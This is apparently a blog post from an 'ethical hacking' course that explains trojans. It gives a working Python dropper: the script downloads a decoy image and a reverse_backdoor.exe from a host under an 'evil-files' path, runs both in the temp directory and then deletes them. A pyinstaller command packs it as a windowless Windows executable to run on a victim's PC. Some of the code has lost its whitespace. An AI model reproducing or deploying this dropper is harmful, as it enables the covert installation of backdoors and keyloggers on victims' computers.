python hacking_Python Ethical Hacking - TROJANS Analysis(1)

TROJANS

A trojan is a file that looks and functions as a normal file(image, pdf, song ..etc).

When executed:

1. Opens the normal file that the user expects.

2. Executes evil code in the background (run a backdoor/keylogger ..etc).

Download & Execute Payload

A generic executable that downloads & executes files.

Ideas:

Download backdoor + keylogger.

Download keylogger + password recovery tool.

Download keylogger + password recovery tool + backdoor.

Use it as a trojan -- evil file + a normal file.

Create the download_and_exeucte Python code:

#!/usr/bin/env python

importosimportsubprocessimportrequestsimporttempfiledefdownload(url):

get_response=requests.get(url)

file_name= url.split("/")[-1]

with open(file_name,"wb") as out_file:

out_file.write(get_response.content)

temp_directory=tempfile.gettempdir()

os.chdir(temp_directory)print(temp_directory)

download("http://10.0.0.43/evil-files/Galaxy.jpg")

subprocess.Popen("Galaxy.jpg", shell=True)

download("http://10.0.0.43/evil-files/reverse_backdoor.exe")

subprocess.call("reverse_backdoor.exe", shell=True)

os.remove("Galaxy.jpg")

os.remove("reverse_backdoor.exe")

Convert the Python Program to Windows Executable.

wine /root/.wine/drive_c/Program\ Files\ \(x86\)/Python37-32/Scripts/pyinstaller.exe download_and_execute.py --onefile --noconsole

Execute the download_and_execute.exe file on the vitim PC.

The user can only see a normal picture, but the communication has been established background.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值